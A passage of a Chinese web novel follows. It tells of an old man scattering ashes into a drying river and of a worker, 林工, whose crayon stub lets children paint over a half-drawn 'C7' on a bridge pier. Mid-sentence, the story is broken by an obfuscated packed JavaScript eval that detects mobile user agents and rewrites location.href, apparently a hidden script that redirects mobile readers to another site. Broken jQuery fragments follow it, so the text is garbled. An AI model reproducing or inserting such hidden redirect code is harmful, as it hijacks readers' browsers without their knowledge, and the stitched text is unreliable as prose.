走到半途，天空毫无征兆地降下大雨，豆大的雨点砸在泥土路上，溅起片片水花。

    他没有撑伞，也没有躲避，只是佝偻着背，任由冰冷的雨水打湿他花白的头发和单薄的衣衫。

    他将那个茶叶罐紧紧揣在怀里，雨水浸透了外套，罐子却依然干爽。

    抵达河道边时，他已浑身湿透。

    那条河几乎已经断流，只剩下一道浅浅的水洼，在阴沉的天色下泛着微光。

    他蹲下身，打开茶叶罐的盖子，将里面的灰烬缓缓倾倒入水中。

    黑色的粉末在水面散开，一些被水流裹挟着，慢悠悠地漂向远方，另一些则沉入水底，与淤泥融为一体。

    他看着那些最后的痕迹消失不见，忽然对着无人的河面，用只有自己能听见的音量，轻声说了一句：

    “沈默，林工……你们都不必再知道了。”

    话音落下，平静的水面似乎微微荡起一圈涟漪，却浑浊得映不出他苍老的脸。

    他站起身，不再回头，迈着在雨中显得异常稳健的步伐，原路返回。

    从这一天起，他再也没有写过一个字，也没有再向任何人问过一件事。

    真正的结束，不是遗忘，而是连“守护”这个词，都不再需要被记起。

    春日的一个午后，林工结束巡检，路过那座废弃的铁路桥。

    桥墩下，几个小学生正拿着彩色粉笔在水泥墙上涂鸦。

    笑闹声清脆响亮。

    他一眼就看到，其中一个穿着蓝色校服的小男孩，正费力地画着几个歪歪扭扭的字母。

    一个“C”，旁边是一个将要成型的“7”。

    林工的脚步顿住了。

    他没有呵斥，也没有上前阻止。

    他只是默默走到孩子们身边，蹲了下来，从自己随身的工具包里，取出了什么。

    那是一截早已褪色、几乎看不出原本颜色的蜡笔残骸，灰白，粗糙，是他曾经用来在墙上画下“无”字时剩下的。

    他把蜡笔递给那个小男孩，声音温和：“用这个试试，颜色更牢。”

    男孩好奇地接过那截不起眼的蜡笔，

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16805318|182836||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    随手就在旁边画了一个大大的、不成比例的太阳，蜡笔在粗糙的墙面上留下了厚重而实在的痕迹。

    “哇，这个好用！”

    其他的孩子见了，也纷纷围过来，抢着用那截蜡笔在墙上添上自己的杰作。

    很快，那个未成形的“C7”被一个巨大的笑脸和几朵不成形的花朵彻底覆盖。

    杂乱却鲜活的色彩层层叠叠，桥墩的底部变成了一块五彩斑斓的画布。

    林工站起身，拍了拍裤子上的灰尘，转身离开。

    身后，孩子们的笑声在春日的阳光里飞扬。

    他知道，有些地方一旦被鲜活的、当下的生活所填满，就再也腾不出多余的空间，去容纳一个来自过去的幽灵。

    又一场春雪过后，林工照例巡查安宁巷的泵站。

    一切如常，数据平稳。

    但在检查主控制面板时，他敏锐地发现，面板背面，那个被他用绝缘封胶覆盖的“无”字